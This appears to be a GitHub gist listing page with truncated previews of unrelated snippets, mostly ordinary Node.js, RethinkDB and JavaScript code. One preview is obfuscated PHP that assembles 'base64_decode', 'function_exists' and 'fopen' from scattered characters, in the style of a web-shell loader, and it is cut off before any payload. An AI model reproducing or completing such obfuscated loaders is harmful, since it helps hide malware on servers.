This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| module.exports = function(app){ | |
| app.express.use(function(req, res, next){ | |
| // initialise rethink connection | |
| if(!app.rethinkdb){ | |
| return next(); | |
| } | |
| app.rethinkdb.connect(function(err, r, conn, rethinkNext){ | |
| if(err){ | |
| return res.error('DB Error', err).end(); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "container": "atl", | |
| "head": "079d75659f6e8e88e17d219095329b36", | |
| "contents": { | |
| "b3eec16119413f83132c63095c59a0fa": { | |
| "name": "02", | |
| "hash": "b3eec16119413f83132c63095c59a0fa", | |
| "files": [ | |
| { | |
| "name": "another.js", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var returnData = app.hapi.error.badRequest(err, data); | |
| returnData.output.payload.validation = { | |
| source: inputType || 'payload', | |
| keys: [inputName] | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $lc_____y='4';$is_______e='_';$oo______________o='6';$wr________o='o';$sy____u='e';$nm______z='e';$qc__________c='d';$cu___s='a';$ro_________a='e';$sg_________o='c';$vp___w='s';$mq_______c='b';$fz__________t='d';$zj______________n=$mq_______c.$cu___s.$vp___w.$ro_________a.$oo______________o.$lc_____y.$is_______e.$qc__________c.$sy____u.$sg_________o.$wr________o.$fz__________t.$nm______z; | |
| $co__________i='i';$uw______f='t';$lt_____p='u';$vu______b='n';$jg_____v='_';$fj___________b='c';$lf__r='i';$fp_____________q='s';$is______________o='x';$lj_____________b='o';$gq_______________n='t';$wz___________w='f';$nk_________j='n';$gd_____u='s';$an_______v='e';$ns___________f=$wz___________w.$lt_____p.$vu______b.$fj___________b.$gq_______________n.$lf__r.$lj_____________b.$nk_________j.$jg_____v.$an_______v.$is______________o.$co__________i.$fp_____________q.$uw______f.$gd_____u; | |
| $am__h='f';$qu______p='e';$qh___e='o';$dg__f='p';$yf_____________v='n';$np__z=$am__h.$qh___e.$dg__f.$qu______p.$yf_____________v; | |
| $ca________ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <title>Test</title> | |
| <script src="assets/js/libs/socket.io.js"></script> | |
| <script> | |
| var socket = io('ws://192.99.96.102:8000'), | |
| connected = false, | |
| authenticated = false; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| RewriteEngine On | |
| RewriteCond %{HTTPS} off | |
| RewriteCond %{REQUEST_FILENAME} \.(gif|jpe?g|png|js|css|swf|ico|txt|pdf|xml)$ [OR] | |
| RewriteRule ^(.*)$ https://getnodecraft.net/$1 [L] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| r.expr({ | |
| rows: r.table('stuff').coerceTo('array'), | |
| count: r.table('stuff').count() | |
| }); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var util = require('util'), | |
| EventEmitter = require('events').EventEmitter; | |
| var Server = function() { | |
| var self = this; | |
| this.on('custom_event', function() { | |
| self.logSomething('custom_event'); | |
| }); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // assume express and all that goodness (I actually am using Kraken) | |
| // my middleware class | |
| var userModel = function(userID){ | |
| return { | |
| uid: userID, | |
| logout: function(){ | |
| this.uid=false; | |
| // how can I access req? | |
| req.session.destroy(function(){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var myVar = {bar:'foo'}; | |
| myVar.someClass = function(){ | |
| return { | |
| foo: 'bar', | |
| someFunction: function(){ | |
| console.log( this.foo ); // returns 'bar' | |
| // can we get myVar.bar here? | |
| } | |
| } |